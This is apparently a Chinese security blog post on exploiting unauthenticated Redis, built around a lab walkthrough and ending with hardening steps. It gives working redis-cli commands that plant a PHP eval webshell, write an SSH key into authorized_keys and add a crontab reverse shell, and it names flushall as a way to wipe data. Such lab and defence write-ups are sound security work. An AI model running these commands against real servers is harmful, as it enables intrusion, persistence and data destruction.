SwanQ's Blue SKY

TO LIVE IS TO RISK IT ALL

0%

redis未授权总结

前言

之前总结过的内容被自己的windows defender杀掉了,现哭着再总结一次。起因源于之前参加hvv遇到此洞,故而作此总结。

0x01 概述

用ANSI C写的redis作为非关系型内存数据库,是key-value存储系统,且支持主从服务器同步。redis漏洞产生的原因一般是:

  • 直接暴露在公网:绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略
  • 没有设置密码认证(一般为空):可以免密远程登录redis服务

漏洞可能产生的危害:

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

下图为redis拿shell的三种方式及其条件:

0x02 环境搭建

靶机:Ubuntu 192.168.140.129

攻击机:kali 192.168.140.130

kali一键安装redis,sudo apt install redis

Ubuntu debian或其他环境安装指南:

安装:

1
2
3
4
5
6
7
8
9
tar -xzvf redis-6.0.1.tar.gz
mv redis-6.0.1 /usr/local/redis
cd /usr/local/redis
make & make install

# 任意目录启动
cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc

配置:

1
2
3
4
5
6
7
8
9
10
11
# 去掉仅对内网开放,加#
# bind 127.0.0.1
# redis关闭守护进程
daemonize no
# 关闭保护模式
protected-mode no

# 重启配置文件
redis-server redis.conf
# 关闭防火墙
ufw disable

当然,别忘了,ubuntu要启动redis-server服务。

为保证后面写入计划任务,此处以root权限启动redis

0x03 利用方式

1. 写webshell

条件:

存在web目录

晓得绝对路径

当然还要有写入权限

流程:

实际渗透过程中,这个方法通常需要搭配 phpinfo 等信息使用

1
2
3
4
5
6
7
8
redis-cli -h  192.168.140.129 or 域名
config set dir /var/www/html/
# 设置写入文件
config set dbfilename 1.php
# 以键值对的形式写入一句话木马
set webshell "<?php @eval($_POST['swanq']);?>"
# 保存写入硬盘
save

最后用蚁剑连接即可:http://192.168.127.139/1.php

2. 写ssh公钥

原理:Redis 未授权访问通过写 /root/.ssh下的authorized_keys 来拿权限

条件:

对外开启ssh服务

Redis 服务运行在 root 用户下(否则还要猜测用户)

流程:

生成本机ssh公私钥

为防止脏数据污染公钥,在公钥内容上下加空行。之后将公钥写入key.txt

shell的echo :

用于字符串输出,其注意事项如下图所示:

redis远程连接靶机,将公钥文件key.txt写入靶机

-x:read last argument from STDIN

cat key.txt | redis -h 192.168.140.129 -x set crack:

  • cat key.txt 输出 作为后面的输入

  • -x 读取标准输入

  • set crack 是将读取的输入作为crack此参数内容

    相当于把参数crack参数和-x读的数据组了个命令执行

找到靶机redis备份路径:

更改redis备份路径为ssh公钥存放目录/home/glory/.ssh,默认情况为/root/.ssh。并设置上传公钥文件名为authorized_keys

config:可查看或设置配置项

dbfilename:备份文件

SSH远程登陆成功

3. 在crontab中写定时任务

条件:

有可写计划任务的权限,将文件写入到计划目录下执行

多见于CentOs使用

流程:

攻击机监听本机9999端口,接收之后的反弹shell

利用redis以root权限运行有可写计划任务的权限,写crontab

1./var/spool/cron目录存储每个用户生成的crontab文件

2.直接往当前用户的crontab中写反弹shell,必须要换行

3.* * * * * myCommand:1分钟执行一次myCommand

4.n个数大于2,否则文件内容里面的任务计划会出现乱码导致命令执行失败

观察到此时并无反弹shell。但是确实写入成功。

具体排查问题另起一篇博客说明。

0x02 如何防护

1.禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2.低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

3.为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

1
requirepass mypassword

4.禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

1
bind 127.0.0.1

参考:

  1. 下载链接:http://download.redis.io/releases/redis-6.0.1.tar.gz
  2. https://hejueyun.github.io/posts/2218125b/
  3. https://www.freebuf.com/vuls/223432.html
  4. redis相关:https://www.anquanke.com/post/id/241146
  5. corntab命令参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html